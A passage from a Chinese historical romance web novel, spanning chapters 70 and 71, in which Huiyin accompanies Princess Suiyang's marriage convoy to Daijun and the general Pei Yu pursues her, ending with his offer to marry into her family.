她再也不想回到过去,歇斯底里,情绪和理智全部系与一个男人身上,丢掉最后的自尊。 不想再和裴彧彼此争吵,拿对方最在意的东西互相捅刀子。 她现在最希望的就是两人彼此形同陌路,互不干涉,最好永远也不再见面。 “你不喜欢他了吗?”睢阳翻过身,枕着胳膊。 徽音想了想,沉吟道:“我还喜欢他,但这世上不是喜欢就要在一起的,还有很多东西比喜欢更重要。” 睢阳不禁想到了她和王子邵,他们就是最典型的例子,喜欢却不能在一起。她又开始想哭了,决定和亲后她就让徽音帮她递话给王子邵,两人甚至连最后一面都没见上。 王子邵会不会恨她,恨她一意孤行,非要和亲匈奴。可让她拿旁人去抵自己的一生,还向从前那样幸福无忧,她真的做不到。 睢阳突然安静下来,哭得无声无息。徽音转头看了她一眼,发觉她咬着被子不住的抽泣,眼泪断线般的往下流。 徽音没有再劝她不要哭,有些时候,放肆的哭一场比什么都好。总比什么都憋在心底闷出病来强,就像她今天跟睢阳谈了许久,明显感觉到自己心里也松快了不少。 睢阳哭了一阵后,眼睛里蒙上一层水雾,她难受道:“阿姊,我真后悔,后悔没能再见他一面,没能好好跟他道个别。” 睢阳哭完后沉沉睡去,只剩徽音一人还睁着眼,她盯着头顶的纱帐,想着睢阳方才的话语,心中叹道,总得让两人再见一面才行。 过了函谷关后和亲的车队就会一路走到代郡,路途遥远约莫需要半月个才能到代郡。 如果此时从函谷关快马加鞭回长安给王子邵送信,让他一路疾驰赶来,说不定真的能在代郡让两人见上一面。 徽音慢慢坐起身,借着昏暗的光线凝视睢阳,她脸上还残留这泪痕,面容白皙,脸颊还带着一点天然的软肉,浑然就是一个未长大的小姑娘。 是啊,她今年满打满算也才十六岁,就要离开故土去到一个全然陌生的地方,嫁给一个年纪能做她父亲的男人。 徽音轻手轻脚的下床套衣,她担心穿衣的动作会吵醒睢阳,只披上大氅就出了门。 守夜的宫婢看见她正要起身问询,徽音轻轻摆手,点上一盏风灯,“我出门一趟,你好好守着殿下。” 宫婢小声问:“您何时归?” 徽音提着灯朝外走,夜半的寒风吹得她脑袋生疼,风里传来她的声音,“你歇着就是,不必等我。” 寒冬深夜,冷得刺骨,好在大氅宽大厚实,能完全将她身形遮住,密不透风。只是出门时走的太急,忘记带上围脖,此刻被冷风一吹,徽音忍不住打了几个寒颤,她缩着脖子朝哨岗走去,此刻才明白颜娘日日将她裹成球的苦心。 哨岗上守夜的士兵早就发现了徽音的踪迹,此刻三人正凑在一块嘀嘀咕咕,猜测徽音为何大半夜出门,是不是要去找少将军。 倒不是他们好奇心重,陛下和皇后心疼公主远嫁,此次护送公主和亲的军队全是裴彧的亲信,想让公主路上能有熟悉的人陪伴不害怕,到了代郡再换成其他人护送出关。 他们这群人早就知道裴彧和徽音之间的风月之事,这顶头上司的八卦谁不好奇。 个子最高的那个斩钉截铁,“我打赌,她一定是去找少将军的。” 其他两人白了他一眼,异口同声道:“这还用你说,不去找少将军难道是来找你的。” 徽音走到哨岗口,全然不知道三人的议论。她是来找人问路的,她不知道裴彧住在何处。 只是不知道为何,那士兵听闻她打探裴彧的住处,嘴角当即抑制不住的往上翘,还回头对着身后的两人挤眉弄眼。 徽音有些疑惑,打算开口询问时,那士兵脸上的表情已经恢复正常,一脸严肃的看着她,朗声道:“属下带您过去。” 徽音眨眨眼,裴彧手下的兵怎么都奇奇怪怪的。 士兵带着她一路走到函谷关城墙下,这里靠近关口,驻扎着很多的军帐。这个天气,住在屋子内不少炭盆人都受不住,更何况是这就地驻扎在野外的帐篷。 徽音问出心底的疑虑,带路的士兵指着帐篷解释给徽音听,“函谷关的住所不多,都是紧着给公主殿下和鸿胪寺那边的文官住,士兵就只能驻扎在帐篷里,少将军在外领兵时从不贪图享乐,都是与我等同吃同住的。” 说话间,两人已经来了正中间的主帐前,士兵停住脚,恭敬的对徽音道:“女郎,属下还要回去值守,您自己进去吧。” 徽音屈膝行礼向他道谢。那人走后,她环顾四周,已经是下半夜了,军中的士兵都已经歇下,面前这处军帐虽然是亮着灯,但军营重地她不好就这么闯进去,可门口也无人驻守,找不到人替她通报。 她走到帐篷门口,唤道:“裴彧,裴彧。” 无人应声,徽音被寒风吹得耳朵通红,一双脚更是冷得生疼,恨不得放进热水里好生烫烫才好。她迟疑片刻,还是掀起帘子走了进去,帐篷里到底比外面好些,隔绝寒风。 她环视一圈,这帐篷简洁,正中间摆着一架山峦地势图,再往前就是一张漆木案几和茵草坐垫,左侧放着一张窄窄的硬板床上,上头空无一人,除此之外,帐内再无其他。 这简洁的风格与他在廷尉府的办公场所简直一模一样,徽音见帐篷里无人,打算出去找人问问。 她还没转身,就被人连拖带拉的困进一个温热的怀抱,双手被人反剪在身后,动弹不得,胸前还横亘着一只有力的臂膀,挤压得她一阵抽气。 炙热的鼻息喷洒在徽音颈间,她听见裴彧冷声质问:“你是何人,为何擅闯我的营帐?” 徽音吃力的回过头,尾音带着怒气,“是我,宋徽音。” 裴彧微微挑眉,慢慢松开徽音,一脸无辜,“我不知是你,没伤到你吧。” 徽音摇摇头,裴彧虽然制住她,但没用多大的力气,并未弄疼她。 “这么晚了,你来这里做什么?”裴彧边走边卸着甲胄,他大马金刀的坐在床上,低头解着护袖,眼尾上扬的看着徽音。 徽音上前一步解释,“今日我与公主殿下叙话……” 她话才说一半,就见裴彧皱着眉头起身来带她面前,居高临下的望着她,冷淡发问:“你出门没带围脖,一路吹风过来的?” 徽音忍不住抬手摸了摸耳朵,冰冰凉凉的,她不好意思的放下手,嘴硬道:“没多冷。” 裴彧冷冷盯了片刻,忽然快步走了帐篷。徽音还没回过神来,就看见他端着一盆热气腾腾的热水走进来,木盆上还搭着一块干净的白布。 她呆呆的看着裴彧的身影,不明他在做什么。 裴彧将帕子浸湿拧干,眉间还蹙着,举着帕子朝徽音走过去。 徽音连连后退,惊恐道:”你,干什么?” “你耳朵都要冻掉了,你说干什么?”裴彧瞥了她一眼,摁住人不许动,捏着帕子覆盖在徽音冻得通红的耳朵上,轻轻按摩揉捏。 耳朵上的暖意和酥麻感一路传到心里,徽音身体不禁有些发软,心跳的极快,她看着裴彧一脸认真的侧脸,喉间发涩。 很快裴彧就换了另一只耳朵捂着,他低头凝视徽音,“还有哪里冷?” 徽音呼吸骤然发紧,她第一次觉得裴彧的眼是会勾魂的,他长睫之下,是一双漆黑点墨的眼角,深邃而诱人,像一颗墨玉吸引人的靠近。 她小声道:“脚冷。” 裴彧松开徽音,将那盆热水端到窗前,单膝跪在地上,拍拍床侧,“过来。” 徽音走出去两步,惊觉两人今夜的气氛实在不太对劲,捂耳朵已经是越界,怎么还能当着他的面泡脚呢。 她停在原地,虽然脚冷麻到已经没有知觉,还是艰难的拒绝了,“不用,我就说几句话,说完就离开了。” “殿下她想在去匈奴前再见……” 徽音的声音戛然而止,她整个人被裴彧抱在怀中,双脚腾空在地面。 “你干什么!裴彧!” “你快放开我!” “裴彧!” 裴彧将徽音放在床上,抬手抓住她的脚脱鞋,隔着鞋袜他都能感受到冰凉的脚掌,像是握了一块冰在手中。 徽音被他单手摁在床上,一只脚握在他的手中,她胡乱挣扎起来,蹭掉了领口大氅系着的飘带,白色的里衣显现出来。 “别动!”裴彧轻喝,目光沉沉的盯着徽音,“你穿着里衣就出来了?” 徽音拉住下滑的大氅,捂紧胸口奋力的往回抽脚,生气道:“关你何事,快点放开我!” 裴彧浑然未觉,解开徽音的绫袜,炽热的手掌与徽音冰凉的赤足相接,他先是用手试探了水温,才慢慢握着徽音的小脚放在热水的浸泡。 徽音猛然被热水一激动,发麻的脚底开始回暖,让她不舍从温暖的热水中抽出。她停下挣扎的动作,任由裴彧将另一只脚的鞋袜退去放入水中浸泡。 裴彧单膝跪在徽音的身侧,他盔甲已经卸,只穿着一件玄色的单衣,长睫低垂,双手握住盆内一双莹白的脚慢慢揉捏。 徽音垂眼看着这幕,心中五味杂陈,她从来没想过,有一天,裴彧会跪在她身侧温热的替她浣足。 温热的手掌在她足底细致的按摩穴位,下半身原本的冷痛被一股暖意取代,背脊甚至冒出微微的薄汗。 徽音能感觉到那双双顺着她的小腿慢慢向上攀爬,厚实的指腹不经意间划过她的小腿,惊得她反射性的踢出一脚,铜盆叮叮当当在地上翻滚两圈,死死的扣在沾满水渍的地上。 徽音有些心虚的别过头,那盆水好巧不巧的的泼在裴彧身上,他身上的单衣沾上大片水渍,明显得让人无法忽视。 她双脚僵持在空中,冷风吹过,脚上挂着的水珠瞬间变凉,原本生热的脚底也开始发冷。 她刚想将脚缩回去,就被裴彧伸手握住,取过一旁的白布轻轻擦干,然后塞到床上用被褥盖好。 做完这一切裴彧才捡起铜盆放在一旁,起身走到案几边换衣,就这么大剌剌的脱下上衣露出宽厚窄腰的背脊,丝毫不顾身后床上还有个人。 徽音只看了一眼就抱着被子转过身,平静道:“我来找你是有要事,殿下想在去匈奴前见一面王子邵,我算过了路程,若现在就派人长安传信,也许还能赶上。” 裴彧捡起干净的里衣套上,低声回道:“我知晓了,今夜就派斥候回长安。” 他穿好衣服,坐到案几边翻看竹简,转头对徽音:“今夜你就在这里休息,明日再回去。” 徽音垂着眼,指尖拽着被褥,思虑片刻后附身去够放在一旁摆好的鞋袜,“不了,明日殿下出关,我也动身回荆州。” 她一刻也不想和裴彧待在一起,现在的裴彧令她有些看不透,何况两人在荆州分离之时就已说开,分道扬镳,今日裴彧所作所为实在越界。 徽音弯腰穿鞋,裴彧忽然开口问她,“你在躲我?” 她动作一顿,抬头去看案几后的裴彧,帐篷内只有床侧点了一盏灯,案几处光线昏暗,裴彧半张侧脸都隐在黑暗里,明明显现,只有抿紧的唇瓣让能察觉到他此刻不渝的心情。 徽音穿好鞋,起身背对整理大氅,“没有。” 她抬脚朝帐篷外走,听见裴彧在身后道:“如果是因为方才的事让你觉得冒犯,我向你道歉。殿下自出长安就心心念念惦记你,你能否随和亲车队送嫁至代郡,届时我再派人护送你回荆州?” 徽音没回头,她只留下一句,“不能。” 裴彧独自坐在帐篷内,望着徽音头也不回的离开,寒风呼呼灌进帐篷内,冻得他浑身发僵。 这种感觉是从未有过的,比那年大雪夜里,他带着一队人马埋伏在草原上,落下的雪将他们埋在雪里厚厚的一层,他们伏击到深夜,身体早已经冻僵,连握住长剑都做不到,可心口却依旧滚烫。 他不想的,在宛县的时候,他看见徽音满脸泪痕的望着他,心像是灌了铅一样,不敢多说一句话,怕多说一句,眼泪就不由自主的掉下来。 他放开了手,刻意不去打听她的消息,不断的欺骗自己,不爱她了。可这两个月的欺骗都抵不过见她的一面,只看要一看见她,就忍不住想靠近她,哪怕不说话,就这样看着也很好。 现在,她连这个机会也不给他。 徽音出了帐篷才发现又开始落雪了,不过几步路,头上就白茫茫的一片,雪花化水浸湿头发,徽音抬手摸了摸冰凉一片的发丝,裹紧大氅,头缩在柔软的貂毛中迎风而上。 她近日也没什么事情,临近年关,回了荆州也无非是和颜娘缩在小院里消磨日子,或者是去颜家玩乐两天。 她也很想陪着睢阳走完这最后一段路,亲眼看着她出嫁,若没有裴彧,她一定会去的。 “宋徽音。” 徽音回头看去,大片大片的雪花在她面前落下,黑夜风雪中,有一人朝她走来。那人的轮廓身形她这辈子都不会忘,理智告诉徽音,不能再和他纠缠下去,她应该即刻抬脚就走,任他呼唤也绝不回头。 她没动,站在原地静静等着裴彧走近,簌簌的雪花落了她一身。 裴彧的眼角发红,他连外衣都没套,就这么急匆匆的追出来,呼出的热气如白烟一般笼罩在他脸上,模糊的让人看不清面容。 他低头望着徽音,目光缱绻留念,“我保证,绝不再打扰你,剩下的日子都躲着你走,不会让你再烦忧,你能不能留下来?” 徽音睫毛上落了一片雪,眨眼化作雪水,润湿她的眼睫。她低着头没有接话。 裴彧喉间发涩,继续道:“我没的别的意思,我只是想殿下余下的日子能欢快些。你若不想见我的话,我会躲得远远的。” 他说最后一句话的时候尾音有些沙哑,像是哀求。 “我知道了,我会考虑的。”徽音打断他,寒意席卷全身,她抱着胳膊问:“还有事吗?” 裴彧后退一步,摇摇头,“我送你回去。” 徽音:“不必了,就几步路。” 她毫不犹豫转身离开,身上的积雪慢慢往下落。 第70章 做她的赘婿 徽音回到阙楼, 守夜的婢女见她浑身是雪的回来,连忙开门放她进屋,屋内的暖气将身上的雪片融化。 她坐在炭盆前慢慢烤着头发和衣裳, 同时让守夜的宫婢下去休息,看这天色, 过不了多久,天就要亮了。 炭盆里的银丝碳发出细微的裂声,徽音脱下鞋袜烤着冰凉的手脚,想起裴彧。 方才她进屋时朝下面看了一眼, 原先的地方还立着一个黑影,一动不动的, 和风雪融为一体, 就算是身体健壮,在这大雪夜里待上一时半刻, 估计也够呛。 内室传来睢阳小声的呢喃,徽音侧耳去听,她在睡梦中唤着母后。 徽音彻底没了睡意,静静的靠坐在窗边,打开一丝细缝, 望着外头的雪景, 静坐无眠到天亮。 天边开始泛白, 似红非红的光芒从云层里透过, 瞧得出来今日是个大晴天, 接连下了几日的雪终于停了。 巡逻的士兵换了四岗后, 晨哨的声音响起,整个函谷关肉眼可见的复苏起来,门外有人在轻叩门板, 徽音打开门,橘金的阳光铺了她满身,雪后晴朗,寓意极好。 她侧开身,让随侍的宫婢进屋服侍睢阳起身。徽音收拾好后坐在一旁看着宫婢替睢阳梳洗打扮,睢阳眼下带着一片青黑红肿,宫婢正拿着粉扑轻轻的替她遮盖。 而睢阳闭着眼,右手捂着嘴哈欠连天,摇头晃脑。徽音接过宫婢手中的梳篦,跪坐在睢阳身后替她梳发,她并不会太过繁琐的发髻,只将头发分成两股盘在两侧,再用发带和珠钗固定。 绣着鸾凤翻飞的朱红深衣曲裾衣襟接长,绕身数圈,腰间用一根靛蓝色暗纹腰带束住,身姿娉婷袅娜,雍容华贵。 睢阳揉着眼朝徽音撒娇,不舍道:“阿姊,你要走了吗?” 徽意替她整理好最后一缕发,笑道:“我听闻代郡风光一绝,不知道殿下可否捎上我一程?” “阿姊,你说真的,你要随我去代郡?”睢阳激动的起身,拽着徽音的手臂不可置信。 徽音摸摸她的脸,想起昨天晚上她的低泣呢喃,心中不由得怜爱几分,安慰道:“真的,我送你到代郡。” 睢阳眼中闪泪,抱着徽音小声泣泪,“阿姊,你真好。” “好了,我们下去吧。” 徽音帮她擦干泪,扶着睢阳起身朝外走,和亲车队已经准备就绪,严正以待的等在函谷关外,裴彧真如他昨夜所言,没出现在徽音面前,他叫来了方木来接两人。 方木性子跳脱,一路上妙语连珠,将徽音和睢阳哄得眉开眼笑。 车队速度不快不慢,睢阳这张车架宽敞舒适,车厢防风防震,车底的夹层里还能放铜碳炉,堪比地龙 ,比徽音来时坐的那辆马车不知道好多少。 关于王子邵一事徽音没有告诉睢阳,她担心最后赶不上或是王子邵不愿意来,不想让睢阳空欢喜一场。 一路上她是尽量能不马车就不下,避免和裴彧碰面,倒是驰厌经常提着些新鲜的野味过来给徽音和睢阳加餐。 这日,和亲车队停在了一处山谷前休整,徽音在车内憋了几日,实在是有些待不住了,想下车走走。 山脊和背阴处,依然覆盖着厚厚积雪,向阳的山坡上,上头的积雪已经变得斑驳,融化的雪水顺着岩壁往下流,在山谷地汇聚成一片溪流。 她掀开车窗瞧了一眼,士兵们都在忙着安营扎寨,裴彧和驰厌都不见人影。 鸿胪寺的官员担心睢阳闷在马车内心情不好,特地来请睢阳下车透风,顺便散散心。 山谷空旷,四周的峭壁上还残留很多雪痕,徽音蹲在溪流边,闭眼感受清风,双手浸在冰冷的溪水里,多日来的闷烦感就此消散。 颜娘在她身边絮絮叨叨,徽音仔细一听,原来是担心家中那些灌好的腊肠会不会放坏了,“看样子,我们今年整个年都在代郡过了。” 徽音点点头,如今已经腊月底,从代郡回荆州,约莫都已经要开春了。 不远处的火堆突来传来几声欢呼,徽音转头去看,树林深处走出几个人影,裴彧右手上拧着一个鱼篓子,他身后的近卫人人手中的都挂满了猎物,鲜血滴滴答答的落在地上,看样子是进山新猎的。 驻守在营地的士兵纷纷跑过去接过他们手中的猎物,熟练的处理完,架在火堆上烤。 徽音这些时日已经吃腻了这些野味,她盯着裴彧手中的鱼篓子看了几眼,艰难的收回眼,她想起了那碗没喝到的鱼汤,鼻尖仿佛都闻见了鱼汤的咸香味。 颜娘看见她一脸的馋意,在一旁笑问:“要不要奴去找裴将军要一条,想必他不会吝啬一条鱼?” “不要。”徽音斩钉截铁打断拒绝,不就一口吃的吗,等回了荆州她日日都能喝。 天色渐渐暗下来,营地里每个十步架起火堆,烤肉的焦香弥漫开来,徽音坐在睢阳身边,手中拿着一块烤得焦香的小鸡腿,她小口的咬着,味如咀嚼。 车队今夜要在此处歇一夜,睢阳的马车比帐篷还要舒适宽大的多,徽音遂和她一起歇在马车上,睡到一半时,徽音迷离迷糊的听见车外有人在敲门。 车厢的内壁上挂着一盏小马灯,外头罩着一层薄薄的纱布,马灯虽亮,在纱布的遮掩下也不刺眼。 徽音慢慢坐起身,余光看见睢阳睡得正香,呼吸均匀小脸泛红,她许是觉得热,一只腿露外被褥外面,织锦绫裤上卷,露出一截莹白纤细的小腿。 马车外敲击声还在轻响,一声一声的带着节奏,徽音懵了片刻才清醒,这大晚上的,谁在外面敲门。 她睡意还未完全消散,眼底因睡眠不足而泛出水意,双眼被她揉得有些好,徽音凑到窗前,散乱的青丝争先恐后往肩前落,她小声问:“谁啊?” 敲击声停顿下来,随后响起一个低沉熟悉的声音,“是我。” 徽音拢发的动作一顿,裴彧?这么晚了还过来,莫不是有什么大事发生。 想到此处,她胡乱披上外衣打开窗,寒风争先恐后的挤进车厢,徽音连忙回身替睢阳盖好被褥,焦急的回头问:“是出什么事了吗?” 车窗外的木板上突然被人放上一个陶罐,徽音伸手去摸,陶罐周身还烫,她探出头,一脸疑惑的盯着裴彧。 裴彧站在月色下,神色有些不自然移开眼,声音有些发涩,“方木他们网了几条鱼做宵夜,你和殿下尝尝吧。” 徽音的视线从裴彧一脸淡然的脸上移至他微红的耳间,若不是她亲眼见裴彧提着鱼篓子回来,还真会相信这番说词。 她心中不禁五味杂陈,从来没有想过高傲不可一世的裴彧居然也会玩这种把戏,半夜偷偷摸摸给人送宵夜。 徽音咽了口唾沫,忍住馋虫平淡的回道:“殿下已经睡下了,你拿回去吧。” 裴彧漆黑的眼珠一转,抿着唇道:“你不用些吗?” 徽音移开眼,盯着陶罐生气道:“你不是说不会出现在我面前吗?” “对不起,我只是想让你们换换口味。”裴彧微微垂头,嗓音低沉。 “不需要。” 徽音本想关上窗无视她,但越想越气,她索性将窗拉得更开了些,压低声音冷冷道:你是不是以为我答应去了代郡就能任你拿捏?你说过不会出现在我面前打扰我的!你现在又是干什么?” 她每质问一句,裴彧的脸色就白了几分,嘴唇抿得死紧。 徽音不想再看裴彧一脸失意的模样,她烦躁的关上窗,闷闷的躺下去。 灯盏内的火苗轻轻晃动,徽音盯着纱窗的人影,无奈的叹口气,身后睢阳揉着眼坐起身,迷糊地问:“阿姊,你方才同谁在说话?” 徽音纠结半天,还是决定如实相告,“方才裴彧来送宵夜,你要用些吗?” 睢阳听闻面上的困倦之色眨眼消失不见,她精神奕奕的起身开心道:“要,在哪!” 徽音打开车窗,裴彧已经离开了,只剩陶罐和碗勺孤零零的放在木板上,一股凄凉的模样。 她将陶罐抱进车内,热意暖烘烘的传到她怀里。徽音揭开陶罐,霎时间,车厢内被鱼汤的鲜美咸香取代。 她馋这口汤已经许久,此刻不禁口舌生津。睢阳更是一路上吃烤肉快吃吐了,连忙催促徽音盛汤,她已经迫不及待的大快朵颐了。 徽音盛了两碗汤,和睢阳面对面跪坐着,绫罗被褥堆积在两人腰间。 一口鱼汤下去,死去的味蕾仿佛活过来,鱼肉片鲜嫩多汁,鱼骨汤鲜美异常,保留最原始的鲜味。两人坐在车厢内你一碗我一碗的喝着,竟将一罐鱼汤用得干干净净。 睢阳擦干净嘴,抱着吃撑的肚子颓废的躺在软铺里,舒服的发出叹渭声,“去了匈奴,应该吃不上这肥美的鱼肉了。” 徽音收拾完残局,闻言问道:“我去跟他说一声,以后每顿都加一碗鱼汤?” 睢阳噗嗤笑出声,好整以暇的望着徽音打趣道:“可别,我这可是托你的福才吃上的。” “胡说,你是殿下,自然什么好东西都紧着你用。”徽音捧着肚子小心躺下,她也用多了,躺下时甚至能听见肚子里水声摇晃。 睢阳半眯着眼睛,一直手在小肚子上来回抚摸,像只慵懒的小狸猫,“我没有胡说,表兄虽待我好,却从不会如此细致到连吃食都要惦记,更不用说大晚上送鱼汤了。” 徽音自觉的闭上嘴没有接话,她不想讨论裴彧。 睢阳眨眨眼,凑近徽音抱着她的臂膀小声问:“阿姊,我表兄要如何做你才能原谅他,这些时日以来,我就没再他脸上看见过笑意。” 徽音闭上眼,抽出手臂转身睡觉,移开话题,“快睡吧,明日还要赶路。” 睢阳幽幽叹口气,表兄,喝了你的鱼汤我也尽力了,你加油。 —— 代郡黄土筑起的城墙凝着一层冰壳,市井街巷覆着寸许的积雪,马车碾过时发出咯吱脆响。 和亲车队朝着郡守府邸一路驶去,长长的街道上都被这只来自长安的锦绣车队占满。 前方裴彧和鸿胪寺的人已经与代郡郡守接洽上,才将将说上两句话,一行人便往公主仪架这边而来,代郡郡守张滨停在马车外,声音洪亮:“下臣张滨拜见睢阳殿下。” 徽音打开车窗,寒风铺面而来,转瞬间将车内的暖气吹走。睢阳一身朱雀纹纁色礼服正装,高髻如云,发髻上簪着一堆华胜花枝步摇,面容秀丽,眉如远山,气质典雅端庄。 她背脊挺直的端坐在车内,闻言轻轻点头,微笑道:“郡守请起。” 张郡守再度作揖俯身,“臣已在府内备好酒宴,为殿下接风洗尘。” 等他们寒暄,徽音上前关窗,抬眼时与裴彧恰好对上,他似乎想要上前说些什么,徽音眼疾手快的关上窗,捂着冻红的手掌缩回炉子前。 睢阳一扫方才的端庄威严,瞧着徽音掩嘴偷笑。 徽音万般无奈的看了她一眼,烘着手没有回话。 裴彧眼睁睁看着那扇窗被拉下,清脆的声音在他耳边响起,他默了默,抬手敲窗,“车队预计会在代郡歇五日,等和匈奴那边的使臣接洽上就要出关了。” 睢阳笑眯眯的喝着茶,全然没有那天夜里的哭泣脆弱神情。这一路来,她总是笑着,面上不见一丝伤心。只有徽音知道,每到夜里,她都会望着长安的方向静坐很久,无声垂泪。 到了郡守府后,趁着众人在规整行李之时,徽音偷偷溜去了前院。裴彧似乎早就知道她会来,披着大氅负手等在门口。 徽音停在一丈之外保持着距离,微抬下巴问道:“王子邵他来了吗?” “明日午时便到。”裴彧轻轻应声。 徽音放下心,好在能让睢阳出关前让她和王子邵见上一面,让两个人能做最后的道别,她发自内心的感谢,“多谢你了。” 裴彧走到徽音面前,微微低头望着她,哑声道:“睢阳是我妹妹,合该是我谢谢你才对。” 这距离有些近,裴彧呼出的白气浮在徽音面前,她不自在的眨眨眼,后退一步,梳疏离道:“那我先回去了。” 徽音刚要转身,垂下的右手便被人握住,宽阔暖和的大掌紧紧握住她,不肯放开。 她有些生气的抽回手,抬手就给了裴彧一巴掌,清脆的声音异常好听,徽音退后一步,冷脸道,“你是不是忘记你答应过我什么?” 裴彧侧脸上快速浮上红痕,他侧着脸,喉间上下滚动,眸色的沉沉的望着徽音,声音带着一丝脆弱,“我没忘,我只是想和你说会话。” 裴彧面容有些懵,他很少被人扇脸,为数不多的几次都是徽音,之前还觉得有些丢脸恼怒,如今是全然没有一丝不悦,反而还有点高兴。 徽音冷冷道:“可我不想和你说话,我警告你,下次再动手动脚,就不是一巴掌那么简单了。” 见她要走,裴彧再也忍不住,一把将徽音抱在怀里,彷佛要嵌进身体里一般,贪婪的嗅着她身上的淡香。 徽音握紧拳头捶着身前人,愤怒喊道:“放开我!你快放开我!” 裴彧充耳不闻,抱紧怀中人,恳求道:“徽音,我就想通你说会话,就一会好不好?” 空中又开始落雪,不一会儿,院中的两人便雪落了满身,发髻边都是雪粒,徽音无奈的呼出一口气,“你何必如此。你出身尊贵,要什么样的人没有,何必非惦记我一个。” 裴彧没有作声。 徽音眉心皱在一起,奋力也挣脱不开,她气喘吁吁的放弃挣扎,“你再不松开我,我现在立刻就回荆州,反正已经将殿下送到代郡,我也没必要再多留。” 裴彧身体一颤,内心似乎是在天人交战,没让徽音等太久,他很快就送开了徽音,退回到原来的地方。 他松开徽音,漆黑的眼里浮现水光,恳求道:“她们再好,我也只要你一个。徽音,我向你起誓,此生此世,我只你一个,绝不再纳二色,若违此誓言,叫我万剑穿心,尸骨无存。” 他带茧的指腹抚上徽音的脸颊,捂热她发凉的脸,低头抵着她的额,无声乞求。 徽音好半天都没有说话,她实在不知该如何回答裴彧,不可否认的是,他这些话语在她心里掀起了一阵波澜。 裴彧等了半响,雪落在两人肩上慢慢融化,他拉着徽音冰凉的手掌进屋,眼前人没有拒绝,也没有再说离开,裴彧一阵心热。 屋内烧着炭盆,衣裳上的残雪瞬间融化,裴彧小心的解开徽音身上的大氅系带,在察觉到她未曾抗拒后喉咙一阵发紧,屏息着坐在徽音身边,慢慢烘着她的大氅。 屋内一时寂静无声,徽音手脚慢慢回热,她望着炭盆中的火光回道:“我不能答应你。” 裴彧浑身一僵,心中那点因为她不曾抗拒升起的喜悦瞬间消失,他紧紧攥着件大氅,艰难的问的道:“你是不是还在生气从前的事,我会改的,你不喜裴府,不喜我母亲,那我们就住到外面去。” “不是因为这个。”徽音满满摇头,无比认真的看着裴彧,说出心中的想法,“即使我不愿意承认,可事实如此。宋家现下只剩我一人,我不想从族中过继嗣子,我以后只会招婿上门,我的孩子也只能姓宋。” 裴彧低着头,很久都没有开口说话。 徽音从他手中取过大氅穿好,迎着鹅毛大雪离开。万事难两全,旁的事情上她都可以退让,唯独这件事情不能让。她不希望百年之后,父母无人供奉,世间再没人知道她这一脉。 “倘若我愿意入赘呢!” 徽音脚步骤然停住,她听见了什么?身后雪地里传来嘎吱嘎吱的响声,徽音不可置信的回头,裴彧走到她面前,一字一句道:“倘若我愿意做你的赘婿,奉你为尊呢?” 徽音找回自己的声音,呵斥:“你疯了吗?” 裴彧他是疯了吗,他知不知道自己在做什么!倘若他要入赘一事传回长安,皇后和裴夫人就得先撕了她。 更何况,以他的身份地位,什么可能做赘婿。 裴彧神色很冷静:“我没疯,我是认真的。” “你……”徽音说不出话来,好半天脑子才清醒过来,“你们裴家子嗣不喜,皇后和你母亲都指望你,你不传宗接代了?” 裴彧:“不是还有阿衍吗,你我帮他娶到心爱的姑娘,他牺牲一点也无所谓,让他们多生几个。” 徽音:“”疯了,真的疯了。 她再也待下去,提着裙摆飞快跑远。徽音严重怀疑,裴彧是生病脑子坏了,不然他怎么会说出这样的胡话。 徽音脚步凌乱的回到后院,正在院中吃锅子的睢阳连忙招手,“阿姊,快来尝尝这个暖暖身子。” 暖阁内却暖意融融,睢阳正坐在正位上,周边跪坐着几个布菜的侍女,精巧的炭火炉上架着的一顶铜锅,汤汁正咕嘟咕嘟地翻腾,散发出浓郁的辛香。 徽音突然被睢阳喊住,不由得有些慌乱,她下意识的移开眼,摆手拒绝,“我不吃了,我先休息一下。” 说完,她便匆匆忙忙的走进东屋,内室的暖香令人舒适,同时也驱散心中的慌乱,徽音有些疲累的坐在软榻上,单手按着烦躁的眉心。 颜娘正在屋中帮整理床榻,听见动静从帷幔后绕出来,便看见徽音呆愣愣的坐在榻上,头上还残留有雪粒,颜娘连忙上前拿帕子帮徽音擦着。 “这是从哪里来的,头发都是雪。” 徽音随口找了个借口搪塞过去,她捂着怦怦跳的胸口烤火,脑中一片混乱不堪,全是裴彧那句“我愿意做你的赘婿。” “这是怎么了,遇着什么事了?”颜娘见徽音一副心不在焉的模样,出声询问。 徽音褪去大氅,纠结之下没有说出口,裴彧也许就是随口一说,她不能傻乎乎当真。 70-80 第71章 王子邵 屋外响起沙沙的杂音, 昨夜大雪纷飞,院子里的积雪积到脚踝处,颜娘正带着婢女将雪铲开, 清理出来一条道路。 徽音挣扎着从暖和的被褥里爬出来,昨她有些认床, 加上被裴彧的疯言疯语所影响,导致她昨夜翻来覆去睡不着,今天早上根本起不来。 她揉着眼睛下床,迷迷瞪瞪的走到窗前, 狠心的打开窗任由飘忽的雪沫刮在脸上,吹跑瞌睡。 徽音捂着冷红的脸关上窗, 将自己收拾好后去找睢阳。睢阳怕冷, 到了代郡地界后就窝在房内不曾走动。 徽音到时她正窝在暖阁内同宫婢玩六博棋,睢阳坐在彩绘漆屏风前的榻上, 身下是柔软的豹皮茵,肘后垫着黑漆凭几。跟前围着一群嬉闹的婢女。 旁边还有一张黑木小几,侍女正在用小铜炉温酒,淡淡的果酒香萦绕在内室。 睢阳朝徽音招招手,“阿姊, 你来了, 一起来玩啊。” 徽音解开大氅坐过去, 旁边的宫婢自觉个她让出位置, 跪坐在一旁侍候。徽音同她玩了几把, 不经意道, “今日雪景正好,我们出去看看吧。” 睢阳皱着脸看了眼外头,撑着下巴思考片刻答应了, 她想趁着这最后几天再看看南朝的河山。 徽音帮着她收拾好,睢阳身量已经展开身体有透着少女的窈窕。她一身朱红色织锦曲,袖口和衣襟的边缘都镶有精美暗纹,曲裾的裙摆部分层层缠绕,雍容华贵。除此之外,还罩有一件朱红色貂毛大氅,极尽奢靡。 徽音则不同,她内衫是一件淡青色直裾锦袍,不同于曲裾那样繁琐缠绕,穿着更为方便,外罩一件雪白的狐裘大氅。 两人才出了屋门,就被刮起的北风吹停了脚步,睢阳缩着脖子打了个喷嚏,徽音帮她挡着风,不由得有些后悔。 她应该和裴彧约近一些,今日风大,万一睢阳生病了可就不好了。 睢阳路上一直窝在马车内,此刻见了这漫天的雪色不由得心神一震,闭着眼感受北风,她拉着徽音问,“阿姊,我们去哪?” 徽音将跟着的奴仆全部遣走,牵着睢阳一路走到后花园,园中有一片池塘,湖面上冬日结了一层层厚厚的冰,人在上面走都不会破。 隔得远远的便瞧见了裴彧熟悉的身形,在他身后不远处有座石亭,石亭四面都被遮风的竹席围住,看不清里头的人影。 